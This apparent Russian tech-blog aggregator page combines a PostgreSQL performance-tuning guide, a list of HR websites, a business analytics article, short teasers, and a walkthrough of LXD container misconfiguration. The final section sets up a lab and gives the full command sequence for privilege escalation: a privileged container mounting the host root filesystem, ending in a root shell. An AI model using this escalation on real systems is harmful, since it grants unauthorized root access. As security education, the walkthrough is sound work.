Оптимизация производительности баз данных PostgreSQL

В работе любой программист или системный администратор встречается со страшной проблемой — тормозит база. Сервер работает медленно, происходит нечто непонятное, пользователи жалуются, клиент ругается. Я не зря написал, что проблема является страшной, в первую очередь потому, что решение здесь будет неочевидное и лежит оно не на поверхности. На производительность базы может влиять множество параметров.




В этой статье я постарался рассмотреть большинство из них, а также перечислю те команды, которые помогают мне понять причины медленной работы сервера или базы данных.




Ниже перечислю этапы, по которым вам следует пройтись, чтобы понять причины проблемы.




1. Смотрим, что было сделано раньше.




Для этого у вашего приложения должен быть Git. Заходим в него и смотрим, что было сделано ранее. Какие вы делали миграции, какие настройки меняли.




И желательно, чтобы основной файл конфигурации БД postgresql.conf также был в гите. Тогда вы сможете в том числе контролировать и изменение настроек базы.




Конечно, вы должны взять за правило — не делать никаких изменений в базе напрямую, а всё проводить через гит и миграции.




Особенно если речь идёт об изменениях структуры базы данных, добавлении обработчиков, пользовательских функций, процедур. Эти работы должны делать скрипты, которые, в свою очередь, должны версионироваться.




2. Смотрим, что происходит в операционной системе.




Если изменений в гите не было, а проблема возникла неожиданно, то следующее, на что стоит обратить внимание — что происходило в операционной системе.




Надеюсь, база данных у вас установлена на Linux-машине. Если нет, то советую подумать о переезде на Linux.




Вспомните, какие антивирусы или сетевые экраны вы устанавливали. Посмотрите, какие приложения или сервисы подняты на сервере, кроме базы данных. Оптимальный подход — держать на сервере только базу данных и ничего лишнего. Благо, текущие технологии по виртуализации позволяют это сделать очень быстро и просто.




3. Проверяем оборудование.




Опять же, если в операционной системе вы ничего не меняли, у вас уже стоит Linux, стоит обратить внимание на оборудование. Сегодня некоторые производители железа грешат качеством и нельзя надеяться на то, что память или жёсткий диск не выйдут из строя в самый неподходящий момент. Поэтому, первое на что советую обратить внимание:




htop




Если вы видите, что процессор загружен на 70% и более и при этом загружены все ядра, то подумайте об увеличении мощности. Процессоры сейчас дешёвые, а если вы используете виртуализацию, то добавьте вашей базе дополнительное количество ядер. Скорее всего, вашей базе перестало хватать мощностей из-за возросшей нагрузки и стоит подумать о модернизации сервера.




iostat –dx




Обратите внимание на последнюю колонку. Она вам даст представление о загрузке дисковой подсистемы. Если показатель приближается к 100%, то нужно подумать об увеличении памяти. Скорее всего, у вас очень большой размер базы данных, а оперативки на сервере для обработки данных слишком мало.




Помните, что расходы по оптимизации запросов или кода приложения не окупятся, если у вас присутствуют проблемы с оборудованием.




4. Установите систему мониторинга.




Попробуйте установить систему мониторинга Percona https://www.percona.com/software/database-tools/percona-monitoring-and-management. Её интерфейс показан на картинке выше. Она бесплатная и позволит вам быстро оценить динамику нагрузки на сервер и покажет все главные показатели работы сервера.




5. Проанализируйте файловое хранилище.




Запустите команду:




iostat –x




Посмотрите на колонки с постфиксов _await. Они говорят вам о показателе f/s latency. Если показатель больше 50 мс без нагрузки, то стоит задуматься. Если более 100 — то стоить предпринимать срочные меры.




Причиной высоких цифр может быть неверная настройка гипервизора или работа базы через NAS. Последнего подхода в проектировании нужно избегать.




6. Анализируем pg_stat_activity.




Итак, мы проверили сервера, оборудование, ничего необычного не нашли. Переходим непосредственно к тюнингу базы.




Первое, что приходит на ум — представление pg_stat_activity.




Сначала проверьте в настройках базы параметр track_activity_query_size, по умолчанию он выставлен на 1024. Увеличьте его как минимум в 2-3 раза, в большинстве случаев его не хватает.




Теперь ищем, какая активность у нас происходит в базе. Может всё гораздо проще и кто-то запустил сложный запрос и вам стоит остановить этот скрипт. Смотрим активные запросы длительностью более 5 секунд:




SELECT now() - query_start as "runtime", usename, datname, wait_event, state, query FROM pg_stat_activity WHERE now() - query_start > '5 seconds'::interval and state='active' ORDER BY runtime DESC;




Также могут вызвать подозрения запросы с состоянием «idle». А ещё хуже с состоянием «idle in transaction».




Такие запросы можно остановить следующими командами:




SELECT pg_cancel_backend(procpid);




SELECT pg_terminate_backend(procpid);




Первый остановит активные запросы, второй с типом idle.




Теперь стоит посмотреть, есть ли у вас зависшие трансакции. Выполняем запрос:




SELECT pid, xact_start, now() - xact_start AS duration FROM pg_stat_activity WHERE state LIKE '%transaction%' ORDER BY 3 DESC;




Помните, трансакции должны выполняться моментально. Из ответа смотрите на duration. Если трансакция висит несколько минут, а тем более часов, значит, приложение повело себя некорректно, оставив трансакцию незавершённой. А это влияет на репликацию, на работу VACUUM, WAL.




7. Анализируем pg_stat_statements.




Если раньше мы проверяли активные запросы, то теперь самое время проанализировать то, что было раньше. В этом нам поможет представление pg_stat_statements. Но обычно по умолчанию оно отключено, нам следует его активировать. Для этого в конфиге базы вставляем следующую строчку:




shared_preload_libraries = 'pg_stat_statements'




Затем в текущем сеансе работы с базой, запускаем команду:




create extension pg_stat_statements;




Если вы планируете заниматься производительностью базы, то оно вам нужно обязательно. Без него вы не сможете сделать многих вещей. Оно, конечно, займёт немного места на диске, но по сравнению с преимуществами это будет не страшно.




С помощью него вы можете получить статистику по уже выполненным запросам.




Например, мы можем получить запросы с максимальной загрузкой процессора такой командой:




SELECT substring(query, 1, 50) AS short_query, round(total_time::numeric, 2) AS total_time, calls, rows, round(total_time::numeric / calls, 2) AS avg_time, round((100 * total_time / sum(total_time::numeric) OVER ())::numeric, 2) AS percentage_cpu FROM pg_stat_statements ORDER BY total_time DESC LIMIT 20;




А максимально долгие запросы — вот такой:




SELECT substring(query, 1, 100) AS short_query, round(total_time::numeric, 2) AS total_time, calls, rows, round(total_time::numeric / calls, 2) AS avg_time, round((100 * total_time / sum(total_time::numeric) OVER ())::numeric, 2) AS percentage_cpu FROM pg_stat_statements ORDER BY avg_time DESC LIMIT 20;




Таким образом, мы можем понять, какие запросы сильно влияют на нагрузку нашей базы данных и оптимизировать их при необходимости.




8. Работаем с представлением pg_stat_user_tables




Таблица pg_stat_user_tables — ключевое конкурентное преимущество по сравнению с другими БД. С помощью неё мы, например, получить информацию о последовательном чтении с диска:




SELECT schemaname, relname, seq_scan, seq_tup_read, seq_tup_read / seq_scan AS avg, idx_scan FROM pg_stat_user_tables WHERE seq_scan > 0 ORDER BY seq_tup_read DESC LIMIT 25;




В верхней части таблиц будут как раз те самые операции, которые читали данные с диска. Если у таблицы больше 2000 записей, то такие операции должны производиться по индексу, а не с диска. Т.е. вы получите в первую очередь те запросы, которые вам потребуется оптимизировать.




Также вам следует посмотреть кеширование этих таблиц по представлению pg_statio_user_tables.




В этом вам помогут колонки heap_blks… и idx_blks…




9. Настраиваем память для PostgreSQL.




В зависимости от настроек сервера, настройки у вас будут примерно следующими:




effective_cache_size - 2/3 RAM
shared_buffers = RAM/4
temp_buffers = 256MB
work_mem = RAM/32
maintenance_work_mem = RAM/16




Но я рекомендую пользоваться специальными конфигураторами:




http://pgconfigurator.cybertec.at/ — продвинутый конфигуратор от Cybertec.




https://pgtune.leopard.in.ua/ — онлайн версия классического конфигуратора pgtune.




Эти инструменты помогут вам поставить нужные настройки за вас.




10. Настраиваем дисковую подсистему.




Если вам ничего больше ничего не помогло, то в крайнем случае вы можете выставить следующие настройки:




fsync=off
full_page_writes=off
synchronous_commit=off




Но в этом случае вы потеряете в надёжности хранения данных. Но если у вас PostgreSQL не является единственной системой по обработке данных и база асинхронно копируется в аналитические системы, то с такими настройками можно жить. Так как они снижают нагрузку на диск. Немного поясню по данным параметрам:




fsync – данные журнала принудительно сбрасываются на диск с кеша ОС.




full_page_write – 4КБ ОС и 8КБ Postgres.




synchronous_commit – транзакция завершается только когда данные фактически сброшены на диск.




checkpoint_completion_target – чем ближе к единице тем менее резкими будут скачки I/O при операциях checkpoint.




Ещё есть effective_io_concurrency – по количеству дисков и random_page_cost – отношение рандомного чтения к последовательному.




Впрямую на производительность не влияют, но могут существенно влиять на работу оптимизатора.




11. Настраиваем оптимизатор.




join_collapse_limit – сколько перестановок имеет смысл делать для поиска оптимального плана запроса. Интересный параметр. По умолчанию установлено 10, может имеет смысл повысить его в 10-20 раз.




default_statistics_target — число записей просматриваемых при сборе статистики по таблицам. Чем больше, тем тяжелее собрать статистику. Статистика нужна, к примеру для определения «плотности» данных.




online_analyze - включает немедленное обновление статистики
online_analyze.enable = on
online_analyze.table_type = "all"
geqo – включает генетическую оптимизацию запросов
enable_bitmapscan = on
enable_hashagg = on
enable_hashjoin = on
enable_indexscan = on
enable_indexonlyscan = on
enable_material = on
enable_mergejoin = on
enable_nestloop = on
enable_seqscan = on
enable_sort = on
enable_tidscan = on




12. Оптимизируем запросы.




Итак, вы нашли тяжёлые запросы, делаем по ним explain или analyze и первое на что вам следует обратить внимание — на следующие фразы:




— Seq Scan — значит, что запрос делается через последовательный перебор строк таблицы.




— Nested Loops — соединение с вложенными циклами.




Например, вас может насторожить следующий ответ базы:




Seq Scan ON test (cost=0.00..40.00 ROWS=20)




В ответе мы также видим, сколько строк будет обработано, а также стоимость первой строки..всех строк. Он считается достаточно оригинально, здесь стоит смотреть в относительном сравнении.




Также если Seq Scan по таблице, где rows более нескольких тысяч и при этом есть FILTER – в этом случае явно нужно посмотреть на поля в FILTER и найти подходящий индекс. Если не нашли – бинго, то одну из проблем вы решили.




Подробно описывать оптимизацию запросов я описывать не буду, это тема отдельной статьи.




Логика чтения плана запроса проста:




1) Смотрим на самый большой cost оператора




2) Это Seq Scan или nested loops?




3) Смотрим следующий по стоимости оператор




Оптимизация чаще всего заканчивается либо добавлением индекса, либо упрощением запроса (разбиением на части, использованием вложенных таблиц и т.п.), либо обновлением статистики, как это ни странно.




Для чтения планов рекомендую использовать следующий сервис:





https://tatiyants.com/pev




Что если проблема воспроизводится на проде?




В этом случае, вам надо воспользоваться параметром auto_explain. Он позволяет складировать ответ оптимизатора в одной папке. Включается следующим параметром:




session_preload_libraries = 'auto_explain'
auto_explain.log_min_duration = '3s‘
auto_explain.log_analyze = true




Теперь нам понадобится файлы вывести в красивом виде. В этом нам поможет pgBadger. Генерирует красивый html, но в настройках «можно утонуть».





https://github.com/darold/pgbadger




Вот так выглядит самая простая настройка:




pgbadger -j 4 -p '%t [%p]:[%l-1]' /var/log/postgresql/postgresql-9.6-main.log -o bad.html




На Prod auto_explain лучше не включать, или включать в крайнем случае и на короткое время. В случаях, если у вас нет просадки по ресурсам.




Стоит выделить наиболее часто встречающиеся ошибки:




  • Поиск по базе с использованием LIKE ‘%spoon%’. В этом случае надо подумать о переносе поиска в ElasticSearch. Или использовать FULL TEXT SEARCH.



  • Не внедрена система кэширования. Тогда стоит посмотреть на эту технологию: https://github.com/ohmu/pgmemcache. После скачивания и установки проделываем следующее:




shared_preload_libraries = ‘pgmemcache’
CREATE EXTENSION pgmemcache;
memcache_server_add('hostname:port'::TEXT)




Использование:




memcache_add(key::TEXT, value::TEXT)
newval = memcache_decr(key::TEXT)
memcache_delete(key::TEXT)




Если нужно кэширование внутри СУБД или временную таблицу в памяти. Но часто удобно использовать одну ORM или фреймворк имеет ограничения, или просто нужно оперативно заменить таблицу на inmemory KV хранилище.




— PostgreSQL используется в качестве OLAP. Самый простой вариант — быстро перенести данные в columnstore. https://github.com/citusdata/cstore_fdw




В данной статье я перечислил основные проблемы, с которыми сталкиваются разработчики при работе с базами данных. Если у вас есть интересный кейс или опыт, буду рад, если вы его пришлёте мне по электронной почте.




Источник: https://sergeyem.ru/blog/68



2023-09-09T02:47:51
Software

Сайт HR

Какие сайты следует посещать HR-специалистам. Где лучше всего читать последние новости, откуда можно узнать нужную аналитику и последние тенденции? Авторитетными ли являются те источники, которые предоставляют информацию в интернете?

Представляем вам полезную подборку сайтов для HR-специалистов, кадровиков и менеджеров. Рекомендуем ознакомиться с ними и может быть даже добавить к себе в закладки.

  1. Добыто — является специализированным сайтом для кадровых специалистов. На нем есть информация о специализированном сервисе для ведения кадрового документооборота и обучения персонала, а также блог. В блоге вы найдете различную полезную информацию о кадрах, ведении документооборота, журналов кадрового учета, развитии и управлении. Есть функции поиска, удобная навигация и возможность задать свой вопрос в комментариях.
  2. HRpuls.ru — данный сайт, также еще является и кадровым интернет-журналом, с названием «Пульс кадровой индустрии». Вместе с ним также есть и статьи, заметки с различной полезной информацией, касающейся кадровиков и HR-специалистов. Отдельный раздел — это блоги популярных рекрутеров с их практическим опытом.
  3. HRm.ru. Это один из довольно больших и старых ресурсов по HR-менеджменту. На сайте размещено море различной информации, однако всю ее лучше перепроверять.
  4. HR-portal.ru. Довольно популярный ресурс. На данном сайте размещено очень много материалов как на кадровую, так и на другие тематики, пусть порой они и далеки от основной.
  5. Hrmaximum.ru — на данном сайте предлагается очень большое количество различных типовых форм кадровых документов. Все они доступны для скачивания.
  6. Pro-personal.ru — это специализированный информационный портал для кадровых специалистов. Много очень даже интересных и информативных заметок и статей.
  7. 4hr.ru — это электронный журнал, в котором размещено очень много переводных статей на кадровую тематику.
  8. Кадровик.ру — это также довольно популярный интернет-ресурс, который ориентирован на кадровиков. Там можно найти множество статей, шаблонов документов и инструкций, а также нормативные документы, касающиеся кадров и HR.
  9. Hr-journal.ru — это интернет журнал, в нем размещаются авторские статьи от настоящих HR-профессионалов.
  10. HR по-русски (или hr-elearning.ru). На данном портале размещаются разнообразные новости, а также события в мире HR, рекрутинга. Кроме того, предлагаются различные методики обучения, адаптации и мотивации сотрудников.

 

Специализированные сайты и порталы в настоящее время значительно упрощают жизнь кадровым специалистам. Ведь ранее, для поиска информации приходилось искать специализированную литературу, издания.

Еще один немаловажный факт — порталы и сайты для поиска сотрудников. Сейчас век технологий — и не нужно анализировать большое количество папок с личными делами и проводить оффлайн кастинги и собеседования. В том числе новые технологии меняют и ускоряют работу HR-специалистов. Давайте рассмотрим основные и наиболее популярные онлайн-сервисы по подбору персонала, которые значительно увеличат эффективность работы кадровиков и рекрутеров:

  • Добыто. Знания — это специализированная база-знаний, созданная на основе искусственного интеллекта. В основе лежит уникальная методика Цеттелькастена. Это означает, что можно хранить информацию, превращая ее в нейросеть компании. Система не только будет хранить и извлекать необходимую информацию, когда это требуется, при этом она также может применяться для обучения других сотрудников.
  • робот Вера — это онлайн-рекрутер, разработанный на основе искусственного интеллекта, российская разработка. Робот умеет эффективно искать резюме на различных сайтах в соответствии с критериями компании, а также самостоятельно совершать звонки, предоставлять необходимые сведения и и даже организовывать видеоинтервью с потенциальными кандидатами.
  • Potok — это специализированная платформа, предназначенная для оптимизации кадровых процессов, в основном набора персонала — контроля всех этапов поиска и проведения собеседований, разработки заявок под каждую конкретную вакансию. Платформа также имеет в своем составе и базу данных, полностью интегрирующуюся со специализированными сайтами и социальными сетями. В ней можно создать и свой собственный сайт, персонализированные формы отклика и различные отчеты.
  • Stafory — является одним из специализированных сервисов для фрилансеров, при помощи него можно найти работу. Помогает фильтровать все поступающие предложения, сортировать их по различным критериям, а также сохранять резюме соискателей, вести календарь собеседований и планировать их.
  • Различные сайты и сервисы. Кроме того, в своей работе кадровики и рекрутеры также применяют специализированные сайты по подбору персонала (HeadHunter, SuperJob и другие), а также социальные сети, поисковики или же платформу Workle — это специализированная платформа для удаленной работы, в которой каждая компания может создать свой лендинг. На ней также можно проводить онлайн-собеседования.



2023-09-08T19:29:05
Бизнес

Сквозная аналитика: Исследование потока данных для успеха бизнеса

Современный бизнес подразумевает не только высокое качество продукции или услуг, но и глубокое понимание рынка, потребителей и внутренних процессов. В этом контексте сквозная аналитика становится ключевым инструментом, позволяющим компаниям анализировать и использовать данные для принятия эффективных стратегических решений.

 

Что такое сквозная аналитика?

Сквозная аналитика — это метод анализа данных, который позволяет компаниям отслеживать и анализировать весь путь взаимодействия клиента с брендом, начиная от первого контакта и до завершения сделки. Этот анализ охватывает все точки контакта с клиентом, включая веб-сайты, социальные сети, электронную почту, телефонные звонки и многое другое.

Цель сквозной аналитики — предоставить компаниям полную картину взаимодействия клиентов с брендом, а также выявить наиболее эффективные каналы коммуникации и влияние каждого из них на конверсию и продажи.

 

Преимущества сквозной аналитики

  1. Глубокое понимание клиентского поведения: Сквозная аналитика помогает выявить предпочтения и потребности клиентов, анализируя их взаимодействие с различными каналами и платформами.
  2. Оптимизация маркетинговых кампаний: Анализ данных позволяет выявить наиболее эффективные каналы привлечения клиентов, что позволяет сосредотачиваться на них и увеличивать ROI.
  3. Улучшение пользовательского опыта: Изучив путь клиента от первого контакта до совершения покупки, компании могут оптимизировать веб-сайт, улучшить качество обслуживания и сделать взаимодействие более удобным и эффективным.
  4. Рост конверсии и продаж: Благодаря анализу каждой стадии пути клиента к покупке, можно выявить узкие места и улучшить процесс, что приведет к увеличению конверсии и объемов продаж.
  5. Адаптация к изменяющимся условиям рынка: Постоянный мониторинг и анализ данных позволяют компаниям оперативно реагировать на изменения в потребительском спросе и рыночных тенденциях.

 

Ключевые этапы сквозной аналитики

  1. Сбор данных: На этом этапе собираются данные со всех доступных источников — от веб-аналитики и социальных сетей до CRM-систем и колл-центров.
  2. Интеграция данных: Для анализа необходимо объединить данные из разных источников в единую базу данных, что позволяет получить полную картину взаимодействия клиентов с брендом.
  3. Анализ и визуализация: На этом этапе данные анализируются с использованием специальных аналитических инструментов, а результаты представляются в наглядной форме.
  4. Принятие решений: На основе анализа компании могут принимать обоснованные стратегические решения, направленные на оптимизацию бизнес-процессов и улучшение результатов.

 

Заключение

Сквозная аналитика — неотъемлемый элемент современного бизнеса, обеспечивающий компаниям глубокое понимание клиентов и эффективное управление взаимодействием с ними. Путем анализа данных на всех этапах взаимодействия с клиентами, компании могут достичь высоких результатов и обеспечить устойчивый рост своего бизнеса.



2023-09-08T18:31:30
Бизнес

MX Service Manager: новый инструмент в MX Linux 23

MX Service Manager: новый инструмент в MX Linux 23

MX Service Manager: новый инструмент в MX Linux 23

Без сомнения, Debian GNU / Linux Это один из самых популярных, используемых и стабильных материнских дистрибутивов в мире. Linuxverse. По этой причине многие из его дочерних дистрибутивов (производных) оказываются столь же замечательными и полезными. Однако не для всех из них обычно характерно наличие собственной посылочной службы, т.е. надежная коллекция собственных инструментов. Кроме того, оригинальные и инновационные функции, а также специальные конфигурации или настройки, которые действительно делают его достойным внимания сообщества Linux.

Таким образом, хорошим примером этого случая обычно является дистрибутивы antiX и MX. В их число входит солидная и постоянно растущая коллекция проприетарных инструментов, которые в случае MX Linux обычно называются MX. Инструменты (Инструменты MX). И сегодня, 7 сентября 2023 года, они анонсировали еще один полезный инструмент, который дополняет указанную коллекцию, имя которой «Менеджер службы MX», то знакомству с ним мы посвятим эту своевременную публикацию.



Читать

Python 3 Многопроцессорность

В статье рассмотрим многопроцессорность в Python 3, а именно модуль multiprocessing и его классы: Process, Queue, Manager, Listen и Client.





Читать

🐧 Неправильная конфигурация контейнеров Linux

В этой статье мы рассмотрим мир Linux-контейнеров (LXD/LXC) и их внутреннее устройство.

Кроме того, мы предоставим исчерпывающее руководство по настройке контейнера для целей тестирования, в том числе о том, что делать, если что-то пошло не так.

Самое главное – мы покажем, как злоумышленники могут использовать неправильно сконфигурированные контейнеры для получения системных привилегий, что подчеркивает острую необходимость обеспечения безопасности контейнеров.

В этой статье будут рассмотрены следующие темы:

  • Обзор Lxc и Lxd
  • Различия между Lxc и Lxd
  • Конфигурация Lxd
  • Неправильная настройка привилегий Lxd
  • Как использовать неправильно настроенный контейнер?

LXC

LXC, или Linux Containers, – это технология виртуализации на уровне операционной системы Linux.

Она позволяет запускать несколько независимых Linux-систем, называемых контейнерами, на одной хост-машине.

Каждый контейнер работает изолированно и имеет свою память, сетевые ресурсы и файловые системы.

Приложения контейнеров воспринимаются как работающие на отдельной физической машине.

LXC предлагает эффективный и действенный метод работы многих экземпляров Linux на одном хосте с минимальной деградацией и низкими накладными расходами.

Он востребован для развертывания приложений, тестирования систем, разработки и построения облачных инфраструктур.

LXC поддерживается ядром Linux и управляется с помощью различных инструментов, включая интерфейс командной строки LXC (CLI) и различные графические интерфейсы.

Она обладает гибкой и модульной архитектурой, позволяющей пользователям настраивать контейнеры в соответствии с их конкретными потребностями и требованиями.

LXD

LXD, сокращение от Linux Container Daemon, – это контейнерный гипервизор, позволяющий управлять контейнерами LXC с помощью удобного интерфейса.

Он использует технологию LXC и позволяет создавать системные контейнеры.

LXD оптимизирован для работы в Ubuntu и других дистрибутивах Linux, поддерживающих snap-пакеты.

LXD позволяет создавать, управлять и исполнять контейнеры с помощью REST API и интерфейса командной строки.

REST API позволяет программно управлять контейнерами, а интерфейс командной строки обеспечивает эффективное взаимодействие с контейнерами непосредственно из терминала.

LXD известен своей способностью к масштабированию и различными средствами защиты, которые предотвращают взлом контейнеров злоумышленниками.

Он предлагает такие высокотехнологичные средства защиты, как AppArmor и SELinux, позволяющие изолировать контейнеры и хосты.

Кроме того, LXD поддерживает живую миграцию контейнеров между хостами, что позволяет без проблем переносить рабочие нагрузки в различные среды.

В целом LXD – это мощный инструмент для управления Linux-контейнерами, упрощающий контейнеризацию и позволяющий пользователям безопасно и эффективно запускать приложения.

🔥 Реализация мандатного контроля доступа с помощью SELinux или AppArmor в Linux

Разница между LXC и LXD

LXC (Linux Containers) и LXD (Linux Container Daemon) – обе технологии, используемые для контейнеризации в Linux, но между ними есть некоторые различия:

  • LXC – это интерфейс пользовательского пространства для контейнерных функций ядра Linux, а LXD – это демон, предоставляющий RESTful API для управления контейнерами LXC.
  • LXC предназначен в первую очередь для создания и управления легкими системными контейнерами, в то время как LXD представляет собой полноценное решение для управления контейнерами, включающее такие функции, как живая миграция, кластеризация и управление хранением.
  • Кроме того, LXD предоставляет более удобный интерфейс командной строки и графический веб-интерфейс для управления контейнерами, в то время как LXC полагается на инструменты командной строки для управления.
  • LXD является более высокоуровневой абстракцией LXC, добавляющей такие функции, как управление образами контейнеров, создание моментальных снимков и управление сетью, в дополнение к основной функциональности LXC.

В итоге, если LXC обеспечивает основную функциональность контейнеризации в Linux, то LXD строится на ее основе и представляет собой полноценное решение для управления контейнерами с дополнительными возможностями и более удобным интерфейсом.

Настройка LxD

Теперь давайте выполним шаги по установке и настройке контейнера LXD в нашей системе.

Сначала с помощью утилиты ‘apt’ мы установим lxd и другие зависимости.

apt install lxd

apt install zfsutils-linux

После установки контейнера и его зависимостей мы можем запустить демон контейнера lxd с помощью команды ‘systemctl’.

systemctl start lxd

Неправильная настройка привилегий LXD

Для неправильной настройки контейнера создадим низкопривилегированного пользователя ‘pentest’ и дадим ему право управлять контейнерами lxd.

Создать пользователя можно с помощью команды ‘useradd’.

Команда ‘-p’ указывает пароль, ‘-s’ – shell и ‘-m’ – каталог пользователя, совпадающий с именем пользователя.

useradd -p ‘Password1’ -s ‘/bin/bash’ -m pentest

После создания пользователя мы можем использовать команду ‘usermod’ для добавления пользователя в группу lxd.

Это действие даст пользователю ‘pentest’ право на управление контейнерами.

usermod --append --groups lxd pentest

Мы также можем создать файл root.txt в корневом каталоге, чтобы проверить эксплойт, прочитав этот файл.

echo ‘We Got Root’ > root.txt

Пользователь pentest теперь является членом группы lxd

Теперь, используя эту неправильную конфигурацию, мы можем эксплуатировать систему и получить оболочку привилегированного пользователя.

Эксплуатация неправильно сконфигурированного контейнера

Первым шагом будет настройка нового пула хранения.

Для этого мы можем воспользоваться командой lxd init.

lxd init

Мы также можем проверить созданный нами пул хранения с помощью команды lxc.

lxc storage list

После создания пула хранения нам понадобится любой скомпилированный образ для контейнера lxd, который можно загрузить с GitHub.

В нашем сценарии хост-машина имеет доступ в Интернет, но если это не так, злоумышленник может сгенерировать собственный скомпилированный образ для lxd и передать его на хост-машину.

Давайте загрузим ‘lxd-alpine-builder’ и соберем образ.

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder/ 
./build-alpine

После выполнения приведенных выше команд мы скомпилировали образ для контейнера lxd.

Теперь необходимо импортировать скомпилированный образ в контейнер.

Мы можем использовать lxc для импорта образа в контейнер.

Здесь мы именуем образ alpine как ‘Myimage’.

lxc image import ./ alpine-v3.17-x86_64-20230302_1107.tar.gz --alias MyImage
lxc image list

Наш скомпилированный образ импортирован в контейнер.

Теперь мы выполним несколько команд lxc, чтобы настроить привилегии для нашего скомпилированного образа.

Нам необходимо создать контейнер с использованием импортированного образа (MyImage).

Для этого необходимо создать экземпляр образа контейнера (с именем Itsec), после чего можно назначить привилегии безопасности созданному экземпляру.

lxc init MyImage itsec -c security.privileged=true

Смонтируйте корневой каталог хост-машины ( / ) в качестве алиаса (HostDir) в контейнер lxd по пути ‘/mnt/’

lxc config device add itsec HostDir disk source=/ path=/mnt/root recursive=true

Запуск контейнера

lxc start itsec

Получим оболочку для контейнера lxd.

lxc exec itsec /bin/sh

Проверка целостности контейнера lxd

id 
Hostname

Мы получили доступ к нашему контейнеру lxd, и в приведенном выше статусе мы смонтировали корневой каталог хост-машины (/) в папку /mnt/ контейнера.

Оказавшись внутри контейнера, мы можем перейти в каталог /mnt/root и увидеть все ресурсы хост-машины.

Мы можем получить доступ к файлу root.txt, созданному ранее, подтвердив тем самым права root-доступа.

cd /mnt/root/root 
ls

В этом руководсте мы рассмотрели, как простая неправильная конфигурация контейнера lxd позволяет злоумышленнику скомпрометировать всю систему и получить root shell на хост-машине.



2023-09-08T14:43:40
Закрытие уязвимостей